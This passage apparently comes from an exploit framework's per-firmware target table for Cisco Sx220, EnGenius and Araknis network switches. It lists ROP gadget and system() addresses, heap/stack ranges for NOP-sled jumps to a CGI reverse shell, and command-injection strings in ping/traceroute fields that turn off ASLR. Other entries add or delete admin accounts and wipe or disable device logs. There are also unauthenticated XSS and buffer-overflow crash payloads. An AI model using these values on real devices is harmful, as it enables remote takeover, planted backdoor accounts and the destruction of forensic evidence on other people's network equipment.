                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
'log_fileClear':0x48D9F4,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,
          },
'stack_cgi_sntp': {
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
'sys_timeSntp_set':0x42E474,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject CMD)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
'sys_timeSntpDel_set':0x42E474,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post()
'sys_timeSettings_set':0x42D25c,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable': True,
          }, 
'heack_cgi_shell': {
'cgi':'dispatcher.cgi',      # /sqfs/home/web/cgi-bin/dispatcher.cgi; main()
'START':0x7ffeee04,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x7fc60000,        # end: You may want to play with this if you dont get it working
'usr_nop': 64,          # NOP sled (shellcode will be tailed)
'pwd_nop': 45,          # filler/garbage (not used for something constructive)
'align': 3,            # Align opcodes in memory
'stack':True,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,
          },
        },
      },

      #
      # Cisco Systems, Inc.
      # Sx220 Series
      #
      # CGI Reverse Shell      : Yes
      # Boa/Hydra reverse shell: Yes
      # Del /var/log/ram.log   : Yes
      # Del /var/log/flash.log : Yes
      # Del /mntlog/flash.log  : Yes
      # Add credentials        : Yes
      # Del credentials        : Yes
      #
'225-51973': {
'template':'Cisco',            # Static for the vendor
'version':'1.1.3.1',          # Version / binary dependent stuff
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40F70C,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f998524,      # la $t9, system # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x2484683c,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)
'vulnerable': True,
          },
'stack_cgi_add_account': {
'vulnerable': False,
          },
'stack_cgi_del_account': { #
'vulnerable': False,
          },
'stack_cgi_diag': {
                            # /sqfs/home/web/cgi/set.cgi;  cgi_sys_ping_set()
            # Ping IPv4
'web_sys_ping_post':0x43535C,  # Jump one after 'sw $ra'      # (address, binary dependent)
'sys_ping_post_cmd':'&srvHost=127.0.0.1 ";echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;"&count=1',
'sys_ping_post_check':'',

                            # /sqfs/home/web/cgi/set.cgi;  cgi_sys_tracert_set()
            # traceroute
            #'web_sys_ping_post':0x43567C,  # Jump one after 'sw $ra'      # (address, binary dependent)
            #'sys_ping_post_cmd':'&srvHost=127.0.0.1 ";echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;"&count=1',
            #'sys_ping_post_check':'',

'verify_uri':'/tmp/check',
'vulnerable': True,        # 
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_settings_set()
'log_settings_set':0x436FDC,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_ramClear_set()
'log_ramClear':0x436F34,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_fileClear_set()
'log_fileClear':0x436F88,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,
          },
'stack_cgi_sntp': {
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntp_set()
'sys_timeSntp_set':0x434FB0,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject RCE)
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntpDel_set()
'sys_timeSntpDel_set':0x4350D8,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSettings_set()
'sys_timeSettings_set':0x434140,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable': True,
          }, 
'heack_cgi_shell': {
'cgi':'set.cgi',        # /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set()
'START':0x7ffeff04,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x7fc60000,        # end: You may want to play with this if you dont get it working
'usr_nop': 64,          # NOP sled (shellcode will be tailed)
'pwd_nop': 77,          # filler/garbage (not used for something constructive)
'align': 3,            # Align opcodes in memory
'stack':True,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,
          },
        },
      },
'225-60080': {
'template':'Cisco',            # Static for the vendor
'version':'1.1.4.1',          # Version / binary dependent stuff
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40ffac,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f998530,      # la $t9, system # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x24847b6c,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)
'vulnerable': True,
          },
'stack_cgi_add_account': {
'vulnerable': False,
          },
'stack_cgi_del_account': { #
'vulnerable': False,
          },
'stack_cgi_diag': {
                            # /sqfs/home/web/cgi/set.cgi;  cgi_sys_ping_set()
            # Ping IPv4
'web_sys_ping_post':0x43535C,  # Jump one after 'sw $ra'      # (address, binary dependent)
'sys_ping_post_cmd':'&srvHost=127.0.0.1 ";echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;"&count=1',
'sys_ping_post_check':'',

                            # /sqfs/home/web/cgi/set.cgi;  cgi_sys_tracert_set()
            # traceroute
            #'web_sys_ping_post':0x43567C,  # Jump one after 'sw $ra'      # (address, binary dependent)
            #'sys_ping_post_cmd':'&srvHost=127.0.0.1 ";echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;"&count=1',
            #'sys_ping_post_check':'',

'verify_uri':'/tmp/check',
'vulnerable': True,        # 
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_settings_set()
'log_settings_set':0x436FDC,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_ramClear_set()
'log_ramClear':0x436F34,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_fileClear_set()
'log_fileClear':0x436F88,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,
          },
'stack_cgi_sntp': {
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntp_set()
'sys_timeSntp_set':0x434FB0,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject RCE)
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntpDel_set()
'sys_timeSntpDel_set':0x4350D8,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSettings_set()
'sys_timeSettings_set':0x434140,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable': True,
          }, 
'heack_cgi_shell': {
'cgi':'set.cgi',        # /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set()
'START':0x7ffeff04,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x7fc60000,        # end: You may want to play with this if you dont get it working
'usr_nop': 64,          # NOP sled (shellcode will be tailed)
'pwd_nop': 77,          # filler/garbage (not used for something constructive)
'align': 3,            # Align opcodes in memory
'stack':True,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,
          },
        },
      },

      #
      # EnGenius Technologies, Inc.
      # EGS series
      #
      # CGI Reverse Shell      : Yes
      # Boa/Hydra reverse shell: Yes
      # Del /var/log/ram.log   : Yes
      # Del /var/log/flash.log : Yes
      # Del /mntlog/flash.log  : Yes
      # Add credentials        : Yes
      # Del credentials        : Yes
      #
'14044-509': {
'template':'EnGenius',            # Static for the vendor
'version':'1.05.20_150810-1754',          # Version / binary dependent stuff
'model':'EGS2110P',        # Model
'uri':'https://www.engeniustech.com/engenius-products/8-port-gigabit-smart-switch-egs2110p/',
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40E12C,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f99851c,      # la $t9, system # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x248405a0,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)
'vulnerable': True,
          },
'stack_cgi_diag': {
                            # /sqfs/home/web/cgi-bin/datajson.cgi;  sn_tracertSet()
            # traceroute
'web_sys_ping_post': 0x42382C,  # Jump one after 'sw $ra'      # (address, binary dependent)
'sys_ping_post_cmd':'&ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&uid=0',
'sys_ping_post_check':'',
'verify_uri':'/conf_tmp/check',

'vulnerable': True,        # 
          },
'stack_cgi_add_account': {
            # pt: 0 = no password, 1 = cleartext, 2 = encrypted
                            # /sqfs/home/web/cgi/set.cgi;  sn_user_mngSet()
'address':0x423E74,        # Jump one after 'sw $ra'      # (address, binary dependent)
'account':'&na=USERNAME&pt=2&pw=PASSWORD&pwn=PASSWORD&pv=0&op=1&',      # Admin, priv 15
'vulnerable': True,
          },
'stack_cgi_del_account': {
                            # /sqfs/home/web/cgi/set.cgi;  sn_user_mngSet()
'address':0x423E74,        # Jump one after 'sw $ra'      # (address, binary dependent)
'account':'&na=USERNAME&pt=2&pv=0&op=0',    # 
'vulnerable': True,        # 
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_globalSet()
'log_settings_set':0x43DE18,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
'log_ramClear':0x43F934,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
'log_fileClear':0x43F934,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,
          },
'stack_cgi_sntp': {
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet()
'sys_timeSntp_set':0x424844,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject RCE)
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntpDel_set()
'sys_timeSntpDel_set':0x424844,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSettings_set()
'sys_timeSettings_set':0x424844,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable': True,
          }, 
'heack_cgi_shell': {
'cgi':'security.cgi',      # /sqfs/home/web/cgi-bin/security.cgi; main()
'START':0x100181A0,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x104006A0,        # end: You may want to play with this if you dont get it working
'usr_nop': 987,          # NOP sled (shellcode will be tailed)
'pwd_nop': 69,          # filler/garbage (not used for something constructive)
'align': 0,            # Align opcodes in memory
'stack':False,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,
          },
        },
      },

      #
      # EnGenius Technologies, Inc.
      # EWS series
      #
      # CGI Reverse Shell      : Yes
      # Boa/Hydra reverse shell: Yes
      # Del /var/log/ram.log   : Yes
      # Del /var/log/flash.log : Yes
      # Del /mntlog/flash.log  : Yes
      # Add credentials        : Yes
      # Del credentials        : Yes
      #
'14044-32589': {
'template':'EnGenius',            # Static for the vendor
'version':'1.06.21_c1.8.77_180906-0716',          # Version / binary dependent stuff
'model':'EWS1200-28TFP',        # Model
'uri':'https://www.engeniustech.com/engenius-products/managed-poe-network-switch-ews1200-28tfp/',
'verify': { 
'cpl_locallogin.cgi (XSS)': {
'description':'XSS in "redirecturl,userurl,loginurl,username,password" (PoC: Count passed XSS)',
'authenticated': False,
'response':'xss',
'Content-Type':False,
'uri':'/cgi-bin/cpl_locallogin.cgi?redirecturl=<script>alert(XSS);</script>&userurl=<script>alert(XSS);</script>&loginurl=<script>alert(XSS);</script>',
'content':'username=<script>alert(XSS);</script>&password=<script>alert(XSS);</script>',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
'sn.captivePortal.login (XSS)': {
'description':'XSS in "userurl & uamip" (PoC: Count passed XSS)',
'authenticated': False,
'response':'xss',
'Content-Type':False,
'uri':'/cgi-bin/sn.captivePortal.login?cmd=action',
'content':'mac=dummy&res=dummy&userurl=<script>alert(XSS);</script>&uamip=<script>alert(XSS);</script>&alertmsg=dummy&called=dummy',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
'cpl_logo_ul.cgi': {
'description':'Unauthenticated upload of "logo_icon". (PoC: Upload invalid file)',
'authenticated': False,
'response':'json',
'Content-Type':False,
'uri':'/cgi-bin/cpl_logo_ul.cgi',
'content':'Content-Disposition: filename.png\n------',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
'cpl_locallogin.cgi': {
'description':'Stack overflow in "username/password (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/cpl_locallogin.cgi?redirecturl=AAAA&userurl=BBBB&loginurl=BBBB',
'content':'username=admin&password=' + self.random_string(196),
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
'sn.captivePortal.login': {
'description':'Stack overflow in "called", XSS in "userurl & uamip" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/sn.captivePortal.login?cmd=action',
'content':'mac=dummy&res=dummy&userurl=dummy&uamip=dummy&alertmsg=dummy&called=' + self.random_string(4100),
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
'sn.jrpc.dispatch.cgi': {
'description':'Stack overflow in "usr, pswrd and method" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/sn.jrpc.dispatch.cgi',
'content':'{"id":1, "jsonrpc":"2.0","params":{"usr":"admin","pswrd":"' + self.random_string(288) + '"},"method":"login"}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
'sn.captivePortal.auth': {
'description':'Stack overflow in "user, chap_chal, chap_pass" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/sn.captivePortal.auth?user=admin&chap_chal=challenge&chap_pass='+ self.random_string(140),
'content':'',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
        },
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40E15C,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f99851c,      # la $t9, system # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x24840690,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 6,            # Should leave as-is (but you can play between 5 - 8)
'safe': True, # Boa/Hydra restart/watchdog, False = no restart, True = restart
'vulnerable': True,
          },
'stack_cgi_add_account': {
            # pt: 0 = no password, 1 = cleartext, 2 = encrypted
                            # /sqfs/home/web/cgi/set.cgi;  sn_user_mngSet()
'address':0x42D1D4,        # Jump one after 'sw $ra'      # (address, binary dependent)
'account':'&na=USERNAME&pt=2&pw=PASSWORD&pwn=PASSWORD&pv=0&op=1&',      # Admin, priv 15
'vulnerable': True,
          },
'stack_cgi_del_account': {
                            # /sqfs/home/web/cgi/set.cgi;  sn_user_mngSet()
'address':0x42D1D4,        # Jump one after 'sw $ra'      # (address, binary dependent)
'account':'&na=USERNAME&pt=2&pv=0&op=0',    # 
'vulnerable': True,        # 
          },
'stack_cgi_diag': {
                            # /sqfs/home/web/cgi-bin/datajson.cgi;  sn_tracertSet()
            # traceroute
'web_sys_ping_post': 0x42CB8C,  # Jump one after 'sw $ra'      # (address, binary dependent)
'sys_ping_post_cmd':'&ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&uid=0',
'sys_ping_post_check':'',
'verify_uri':'/conf_tmp/check',

'vulnerable': True,        # 
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_globalSet()
'log_settings_set':0x4494E8,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
'log_ramClear':0x44B0C0,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
'log_fileClear':0x44B0C0,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,
          },
'stack_cgi_sntp': {
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet()
'sys_timeSntp_set':0x42E438,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject RCE)
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntpDel_set()
'sys_timeSntpDel_set':0x42E438,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSettings_set()
'sys_timeSettings_set':0x42E438,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable': True,
          }, 
'heack_cgi_shell': {
'cgi':'security.cgi',      # /sqfs/home/web/cgi-bin/security.cgi; main()
'query':'nop=nop&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
'START':0x100271A0,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x104006A0,        # end: You may want to play with this if you dont get it working
'usr_nop': 987,          # NOP sled (shellcode will be tailed)
'pwd_nop': 69,          # filler/garbage (not used for something constructive)
'align': 0,            # Align opcodes in memory
'stack':False,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,
          },
        },
      },
'14044-44104': {
'template':'EnGenius',            # Static for the vendor
'version':'1.07.22_c1.9.21_181018-0228',          # Version / binary dependent stuff
'model':'EWS1200-28TFP',        # Model
'uri':'https://www.engeniustech.com/engenius-products/managed-poe-network-switch-ews1200-28tfp/',
'verify': { 
'cpl_locallogin.cgi (XSS)': {
'description':'XSS in "redirecturl,userurl,loginurl,username,password" (PoC: Count passed XSS)',
'authenticated': False,
'response':'xss',
'Content-Type':False,
'uri':'/cgi-bin/cpl_locallogin.cgi?redirecturl=<script>alert(XSS);</script>&userurl=<script>alert(XSS);</script>&loginurl=<script>alert(XSS);</script>',
'content':'username=<script>alert(XSS);</script>&password=<script>alert(XSS);</script>',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
'sn.captivePortal.login (XSS)': {
'description':'XSS in "userurl & uamip" (PoC: Count passed XSS)',
'authenticated': False,
'response':'xss',
'Content-Type':False,
'uri':'/cgi-bin/sn.captivePortal.login?cmd=action',
'content':'mac=dummy&res=dummy&userurl=<script>alert(XSS);</script>&uamip=<script>alert(XSS);</script>&alertmsg=dummy&called=dummy',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
'cpl_logo_ul.cgi': {
'description':'Unauthenticated upload of "logo_icon". (PoC: Upload invalid file)',
'authenticated': False,
'response':'json',
'Content-Type':False,
'uri':'/cgi-bin/cpl_logo_ul.cgi',
'content':'Content-Disposition: filename.png\n------',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
'cpl_locallogin.cgi': {
'description':'Stack overflow in "username/password (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/cpl_locallogin.cgi?redirecturl=AAAA&userurl=BBBB&loginurl=BBBB',
'content':'username=admin&password=' + self.random_string(196),
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
'sn.captivePortal.login': {
'description':'Stack overflow in "called", XSS in "userurl & uamip" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/sn.captivePortal.login?cmd=action',
'content':'mac=dummy&res=dummy&userurl=dummy&uamip=dummy&alertmsg=dummy&called=' + self.random_string(4100),
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
'sn.jrpc.dispatch.cgi': {
'description':'Stack overflow in "usr, pswrd and method" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/sn.jrpc.dispatch.cgi',
'content':'{"id":1, "jsonrpc":"2.0","params":{"usr":"admin","pswrd":"' + self.random_string(288) + '"},"method":"login"}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
'sn.captivePortal.auth': {
'description':'Stack overflow in "user, chap_chal, chap_pass" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/sn.captivePortal.auth?user=admin&chap_chal=challenge&chap_pass='+ self.random_string(140),
'content':'',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
        },
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40E15C,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f99851c,      # la $t9, system # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x24840690,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 6,            # Should leave as-is (but you can play between 5 - 8)
'safe': True, # Boa/Hydra restart/watchdog, False = no restart, True = restart
'vulnerable': True,
          },
'stack_cgi_add_account': {
            # pt: 0 = no password, 1 = cleartext, 2 = encrypted
                            # /sqfs/home/web/cgi/set.cgi;  sn_user_mngSet()
'address':0x42C334,        # Jump one after 'sw $ra'      # (address, binary dependent)
'account':'&na=USERNAME&pt=2&pw=PASSWORD&pwn=PASSWORD&pv=0&op=1&',      # Admin, priv 15
'vulnerable': True,
          },
'stack_cgi_del_account': {
                            # /sqfs/home/web/cgi/set.cgi;  sn_user_mngSet()
'address':0x42C334,        # Jump one after 'sw $ra'      # (address, binary dependent)
'account':'&na=USERNAME&pt=2&pv=0&op=0',    # 
'vulnerable': True,        # 
          },
'stack_cgi_diag': {
                            # /sqfs/home/web/cgi-bin/datajson.cgi;  sn_tracertSet()
            # traceroute
'web_sys_ping_post': 0x42BCEC,  # Jump one after 'sw $ra'      # (address, binary dependent)
'sys_ping_post_cmd':'&ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&uid=0',
'sys_ping_post_check':'',
'verify_uri':'/conf_tmp/check',

'vulnerable': True,        # 
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_globalSet()
'log_settings_set':0x448008,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
'log_ramClear':0x449BE0,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
'log_fileClear':0x449BE0,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,
          },
'stack_cgi_sntp': {
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet()
'sys_timeSntp_set':0x42D598,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject RCE)
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet()
'sys_timeSntpDel_set':0x42D598,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet()
'sys_timeSettings_set':0x42D598,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable': True,
          }, 
'heack_cgi_shell': {
'cgi':'security.cgi',      # /sqfs/home/web/cgi-bin/security.cgi; main()
'query':'nop=nop&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
'START':0x100271A0,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x104006A0,        # end: You may want to play with this if you dont get it working
'usr_nop': 987,          # NOP sled (shellcode will be tailed)
'pwd_nop': 69,          # filler/garbage (not used for something constructive)
'align': 0,            # Align opcodes in memory
'stack':False,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,
          },
        },
      },

      #
      # Araknis Networks
      #
      # CGI Reverse Shell      : Yes
      # Boa/Hydra reverse shell: Yes
      # Del /var/log/ram.log   : Yes
      # Del /var/log/flash.log : Yes
      # Del /mntlog/flash.log  : Yes
      # Add credentials        : Yes
      # Del credentials        : Yes
      #
'8028-89928': {
'template':'Araknis',          # Static for the vendor
'version':'1.2.00_171225-1618',      # Version / binary dependent stuff
'model':'AN-310-SW-16-POE',        # Model
'uri':'http://araknisnetworks.com/',
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40E04C,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f99851c,      # la $t9, system # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x24840470,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 6,            # Should leave as-is (but you can play between 5 - 8)
'safe': False,           # Boa/Hydra restart/watchdog, False = no restart, True = restart
'vulnerable': True,
          },
'stack_cgi_diag': {
                            # /sqfs/home/web/cgi-bin/datajson.cgi;  sn_tracertSet()
            # traceroute
'web_sys_ping_post': 0x42A494,  # Jump one after 'sw $ra'      # (address, binary dependent)
'sys_ping_post_cmd':'&ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&session_uid=0&uid=0',
'sys_ping_post_check':'',
'verify_uri':'/conf_tmp/check',

'vulnerable': True,        # 
          },
'stack_cgi_add_account': {
                            # /sqfs/home/web/cgi/set.cgi;  sn_EncrypOnly_user_mngSet()
'address':0x4303B4,        # Jump one after 'sw $ra'      # (address, binary dependent)
'account':'&na=USERNAME&pw=PASSWORD&pv=0&op=1&',      # Admin, priv 15
'vulnerable': True,
          },
'stack_cgi_del_account': {
                            # /sqfs/home/web/cgi/set.cgi;  sn_user_mngSet()
'address':0x42ADB8,        # Jump one after 'sw $ra'      # (address, binary dependent)
'account':'&na=USERNAME&pw=&pv=0&op=0',    # 
'vulnerable': True,        # user
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_globalSet()
'log_settings_set':0x44DBD8,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
'log_ramClear':0x44FC88,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
'log_fileClear':0x44FC88,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,
          },
'stack_cgi_sntp': {
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet()
'sys_timeSntp_set':0x42BAE4,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject RCE)
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet()
'sys_timeSntpDel_set':0x42BAE4,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet()
'sys_timeSettings_set':0x42BAE4,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable': True,
          }, 
'heack_cgi_shell': {
'cgi':'security.cgi',      # /sqfs/home/web/cgi-bin/security.cgi; main()
            # We need these to push NOP and shellcode on higher heap addresses to avoid 0x00
'query': (self.random_string(1) +'=' + self.random_string(1) +'&') * 110 + 'usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
            #'query':'a=a&' * 110 + 'usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
'START':0x10010104,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP': 0x10600604,        # end: You may want to play with this if you dont get it working
'usr_nop': 987,          # NOP sled (shellcode will be tailed)
'pwd_nop': 69,          # filler/garbage (not used for something constructive)
'align': 0,            # Align opcodes in memory
'stack':False,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,
          },
        },
      },

      #
      # ALLNET GmbH Computersysteme 
      # JSON based SG8xxx
      #
